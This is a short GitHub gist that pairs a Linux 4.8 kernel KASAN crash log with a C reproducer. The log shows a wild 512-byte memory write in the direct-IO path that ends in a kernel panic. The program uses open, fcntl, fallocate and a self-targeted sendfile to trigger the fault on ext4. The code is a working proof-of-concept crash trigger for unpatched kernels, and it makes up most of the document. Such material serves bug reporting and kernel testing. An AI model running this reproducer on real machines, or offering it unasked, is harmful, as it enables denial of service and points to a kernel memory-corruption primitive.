Skip to content

Instantly share code, notes, and snippets.

@marcograss

marcograss/write512.c Secret

Created Oct 11, 2016
Embed
What would you like to do?
/*
[ 29.405419] ==================================================================
[ 29.406609] BUG: KASAN: wild-memory-access on address 0005080000000000
[ 29.407649] Write of size 512 by task write512/1684
[ 29.408539] CPU: 0 PID: 1684 Comm: write512 Not tainted 4.8.0+ #27
[ 29.409574] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Ubuntu-1.8.2-1ubuntu1 04/01/2014
[ 29.411152] ffff88011bf6f370 ffffffff81bf7811 ffff88011bf6f408 0000000000000200
[ 29.412457] 0000000000000000 ffff88007b50c000 ffff88011bf6f3f8 ffffffff815d952f
[ 29.413780] ffff88011bf6f420 1ffff100237ede78 ffff88011bf6f448 0000000000000297
[ 29.414867] Call Trace:
[ 29.415337] [<ffffffff81bf7811>] dump_stack+0x83/0xb2
[ 29.416228] [<ffffffff815d952f>] kasan_report_error+0x41f/0x500
[ 29.417125] [<ffffffff81c37636>] ? iov_iter_get_pages+0x266/0xd70
[ 29.418003] [<ffffffff815d9c28>] kasan_report+0x58/0x60
[ 29.418752] [<ffffffff816f91bd>] ? do_blockdev_direct_IO+0x1e0d/0x8960
[ 29.419654] [<ffffffff815d82dc>] check_memory_region+0x13c/0x1a0
[ 29.420459] [<ffffffff815d8713>] memset+0x23/0x40
[ 29.421089] [<ffffffff816f91bd>] do_blockdev_direct_IO+0x1e0d/0x8960
[ 29.422035] [<ffffffff81348c0b>] ? from_kuid+0x1fb/0x280
[ 29.422905] [<ffffffff817e28c7>] ? ext4_inode_csum_set+0xc7/0x4f0
[ 29.423869] [<ffffffff816f73b0>] ? dio_send_cur_page+0x1ab0/0x1ab0
[ 29.424906] [<ffffffff8111f4de>] ? update_stack_state.constprop.4+0xde/0x150
[ 29.426086] [<ffffffff817e71d0>] ? ext4_dax_get_block+0xd0/0xd0
[ 29.427088] [<ffffffff817e71d0>] ? ext4_dax_get_block+0xd0/0xd0
[ 29.428069] [<ffffffff816ffdba>] __blockdev_direct_IO+0xaa/0xe0
[ 29.429050] [<ffffffff817f85af>] ext4_direct_IO+0xc1f/0x12a0
[ 29.429833] [<ffffffff81c9bc26>] ? depot_save_stack+0x1c6/0x5e0
[ 29.430660] [<ffffffff814c2640>] generic_file_read_iter+0x8e0/0x1780
[ 29.431640] [<ffffffff810b352b>] ? save_stack_trace+0x1b/0x20
[ 29.432598] [<ffffffff815d8406>] ? save_stack+0x46/0xd0
[ 29.433473] [<ffffffff815d867d>] ? kasan_kmalloc+0xad/0xe0
[ 29.434386] [<ffffffff815d57a8>] ? __kmalloc+0x128/0x210
[ 29.435238] [<ffffffff81651dfd>] ? alloc_pipe_info+0x27d/0x380
[ 29.436241] [<ffffffff816d41d0>] ? splice_direct_to_actor+0x620/0x800
[ 29.437355] [<ffffffff816d455d>] ? do_splice_direct+0x1ad/0x270
[ 29.438229] [<ffffffff8163b7d1>] ? SyS_sendfile64+0xc1/0x140
[ 29.439097] [<ffffffff82d0f9fb>] ? entry_SYSCALL_64_fastpath+0x1e/0xad
[ 29.439933] [<ffffffff814c1d60>] ? wait_on_page_bit_killable+0x250/0x250
[ 29.440845] [<ffffffff816d31f9>] generic_file_splice_read+0x309/0x690
[ 29.441619] [<ffffffff816d2ef0>] ? add_to_pipe+0x340/0x340
[ 29.442348] [<ffffffff81706093>] ? __fsnotify_parent+0x63/0x2b0
[ 29.443029] [<ffffffff81636aaa>] ? rw_verify_area+0xea/0x2b0
[ 29.443669] [<ffffffff816d2ef0>] ? add_to_pipe+0x340/0x340
[ 29.444500] [<ffffffff816d3b4f>] do_splice_to+0x10f/0x170
[ 29.445191] [<ffffffff816d3e07>] splice_direct_to_actor+0x257/0x800
[ 29.446106] [<ffffffff816d1f60>] ? generic_pipe_buf_nosteal+0x20/0x20
[ 29.447099] [<ffffffff816d3bb0>] ? do_splice_to+0x170/0x170
[ 29.447880] [<ffffffff81a09f5e>] ? security_file_permission+0x8e/0x1f0
[ 29.448951] [<ffffffff81636aaa>] ? rw_verify_area+0xea/0x2b0
[ 29.449822] [<ffffffff816d455d>] do_splice_direct+0x1ad/0x270
[ 29.450649] [<ffffffff816d43b0>] ? splice_direct_to_actor+0x800/0x800
[ 29.451637] [<ffffffff81acfc77>] ? apparmor_file_permission+0x27/0x30
[ 29.452712] [<ffffffff81636aaa>] ? rw_verify_area+0xea/0x2b0
[ 29.453530] [<ffffffff816399b0>] do_sendfile+0x530/0xcd0
[ 29.454201] [<ffffffff81639480>] ? do_compat_pwritev64.isra.24+0x100/0x100
[ 29.455086] [<ffffffff81acf9b5>] ? common_file_perm+0x2d5/0x370
[ 29.455732] [<ffffffff81706093>] ? __fsnotify_parent+0x63/0x2b0
[ 29.456571] [<ffffffff8163b7d1>] SyS_sendfile64+0xc1/0x140
[ 29.457228] [<ffffffff8163b710>] ? SyS_sendfile+0x140/0x140
[ 29.457871] [<ffffffff8162fcef>] ? SyS_fallocate+0x6f/0x90
[ 29.458493] [<ffffffff82d0f9fb>] entry_SYSCALL_64_fastpath+0x1e/0xad
[ 29.459135] ==================================================================
[ 29.460001] Disabling lock debugging due to kernel taint
[ 29.460683] kasan: CONFIG_KASAN_INLINE enabled
[ 29.461086] kasan: GPF could be caused by NULL-ptr deref or user memory access
[ 29.461762] general protection fault: 0000 [#1] SMP KASAN
[ 29.462223] Modules linked in:
[ 29.462525] CPU: 0 PID: 1684 Comm: write512 Tainted: G B 4.8.0+ #27
[ 29.463193] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Ubuntu-1.8.2-1ubuntu1 04/01/2014
[ 29.464433] task: ffff88011a9b8d80 task.stack: ffff88011bf68000
[ 29.465044] RIP: 0010:[<ffffffff81c2a8b4>] [<ffffffff81c2a8b4>] __memset+0x24/0x30
[ 29.465958] RSP: 0018:ffff88011bf6f460 EFLAGS: 00010206
[ 29.466560] RAX: 0000000000000000 RBX: 0005080000000000 RCX: 0000000000000040
[ 29.467472] RDX: 0000000000000000 RSI: 0000000000000000 RDI: 0005080000000000
[ 29.468278] RBP: ffff88011bf6f480 R08: fffffbfff07b68d0 R09: 0005080000000000
[ 29.469093] R10: ffff88011bf6f29f R11: fffffbfff07b68d0 R12: 0000000000000200
[ 29.469947] R13: 0000000000000000 R14: ffff88007b50c000 R15: ffff8800799d6c00
[ 29.470773] FS: 00007f4c154f4700(0000) GS:ffff88007dc00000(0000) knlGS:0000000000000000
[ 29.471727] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 29.472401] CR2: 00007f4c152d72e0 CR3: 000000007a77b000 CR4: 00000000000006f0
[ 29.473260] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
[ 29.474091] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400
[ 29.474905] Stack:
[ 29.475157] ffffffff815d8721 0000000000000000 ffff88011a9b8d80 0000000000000200
[ 29.476012] ffff88011bf6f7d0 ffffffff816f91bd 0000000000000000 ffff88007ad7bb80
[ 29.476797] ffff88011a9b9510 ffff88011a9b8d80 ffff88011bf6f5c0 ffff88007ad7aa80
[ 29.477614] Call Trace:
[ 29.477877] [<ffffffff815d8721>] ? memset+0x31/0x40
[ 29.478392] [<ffffffff816f91bd>] do_blockdev_direct_IO+0x1e0d/0x8960
[ 29.479041] [<ffffffff81348c0b>] ? from_kuid+0x1fb/0x280
[ 29.479605] [<ffffffff817e28c7>] ? ext4_inode_csum_set+0xc7/0x4f0
[ 29.480200] [<ffffffff816f73b0>] ? dio_send_cur_page+0x1ab0/0x1ab0
[ 29.480816] [<ffffffff8111f4de>] ? update_stack_state.constprop.4+0xde/0x150
[ 29.481556] [<ffffffff817e71d0>] ? ext4_dax_get_block+0xd0/0xd0
[ 29.482207] [<ffffffff817e71d0>] ? ext4_dax_get_block+0xd0/0xd0
[ 29.482858] [<ffffffff816ffdba>] __blockdev_direct_IO+0xaa/0xe0
[ 29.483502] [<ffffffff817f85af>] ext4_direct_IO+0xc1f/0x12a0
[ 29.484097] [<ffffffff81c9bc26>] ? depot_save_stack+0x1c6/0x5e0
[ 29.484696] [<ffffffff814c2640>] generic_file_read_iter+0x8e0/0x1780
[ 29.485364] [<ffffffff810b352b>] ? save_stack_trace+0x1b/0x20
[ 29.485960] [<ffffffff815d8406>] ? save_stack+0x46/0xd0
[ 29.486514] [<ffffffff815d867d>] ? kasan_kmalloc+0xad/0xe0
[ 29.487112] [<ffffffff815d57a8>] ? __kmalloc+0x128/0x210
[ 29.487703] [<ffffffff81651dfd>] ? alloc_pipe_info+0x27d/0x380
[ 29.488345] [<ffffffff816d41d0>] ? splice_direct_to_actor+0x620/0x800
[ 29.489027] [<ffffffff816d455d>] ? do_splice_direct+0x1ad/0x270
[ 29.489652] [<ffffffff8163b7d1>] ? SyS_sendfile64+0xc1/0x140
[ 29.490247] [<ffffffff82d0f9fb>] ? entry_SYSCALL_64_fastpath+0x1e/0xad
[ 29.490933] [<ffffffff814c1d60>] ? wait_on_page_bit_killable+0x250/0x250
[ 29.491643] [<ffffffff816d31f9>] generic_file_splice_read+0x309/0x690
[ 29.492372] [<ffffffff816d2ef0>] ? add_to_pipe+0x340/0x340
[ 29.492934] [<ffffffff81706093>] ? __fsnotify_parent+0x63/0x2b0
[ 29.493648] [<ffffffff81636aaa>] ? rw_verify_area+0xea/0x2b0
[ 29.494215] [<ffffffff816d2ef0>] ? add_to_pipe+0x340/0x340
[ 29.494790] [<ffffffff816d3b4f>] do_splice_to+0x10f/0x170
[ 29.495369] [<ffffffff816d3e07>] splice_direct_to_actor+0x257/0x800
[ 29.496015] [<ffffffff816d1f60>] ? generic_pipe_buf_nosteal+0x20/0x20
[ 29.496764] [<ffffffff816d3bb0>] ? do_splice_to+0x170/0x170
[ 29.497431] [<ffffffff81a09f5e>] ? security_file_permission+0x8e/0x1f0
[ 29.498227] [<ffffffff81636aaa>] ? rw_verify_area+0xea/0x2b0
[ 29.498824] [<ffffffff816d455d>] do_splice_direct+0x1ad/0x270
[ 29.499554] [<ffffffff816d43b0>] ? splice_direct_to_actor+0x800/0x800
[ 29.500423] [<ffffffff81acfc77>] ? apparmor_file_permission+0x27/0x30
[ 29.501345] [<ffffffff81636aaa>] ? rw_verify_area+0xea/0x2b0
[ 29.502173] [<ffffffff816399b0>] do_sendfile+0x530/0xcd0
[ 29.502980] [<ffffffff81639480>] ? do_compat_pwritev64.isra.24+0x100/0x100
[ 29.503998] [<ffffffff81acf9b5>] ? common_file_perm+0x2d5/0x370
[ 29.504858] [<ffffffff81706093>] ? __fsnotify_parent+0x63/0x2b0
[ 29.505754] [<ffffffff8163b7d1>] SyS_sendfile64+0xc1/0x140
[ 29.506674] [<ffffffff8163b710>] ? SyS_sendfile+0x140/0x140
[ 29.507622] [<ffffffff8162fcef>] ? SyS_fallocate+0x6f/0x90
[ 29.508442] [<ffffffff82d0f9fb>] entry_SYSCALL_64_fastpath+0x1e/0xad
[ 29.509351] Code: 90 90 90 90 90 90 90 0f 1f 44 00 00 49 89 f9 48 89 d1 83 e2 07 48 c1 e9 03 40 0f b6 f6 48 b8 01 01 01 01 01 01 01 01 48 0f af c6 <f3> 48 ab 89 d1 f3 aa 4c 89 c8 c3 90 49 89 f9 40 88 f0 48 89 d1
[ 29.513129] RIP [<ffffffff81c2a8b4>] __memset+0x24/0x30
[ 29.513734] RSP <ffff88011bf6f460>
[ 29.514336] ---[ end trace 590e2d88ab8960f7 ]---
[ 29.514845] Kernel panic - not syncing: Fatal exception
[ 29.515992] Kernel Offset: disabled
[ 29.516409] ---[ end Kernel panic - not syncing: Fatal exception
*/
#include <sys/syscall.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#define _GNU_SOURCE
#include <fcntl.h>
#include <sys/sendfile.h>
int main()
{
int ret = 0;
int fd = open("./hurrdurr", O_APPEND|O_RDWR|0x40);
ret = fcntl(fd, 4, 0x44000, 0, 0, 0);
ret = fallocate(fd, 0, 0x21, 0xafa6);
off_t offset = 0;
ret = sendfile(fd, fd, &offset, 0x800);
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment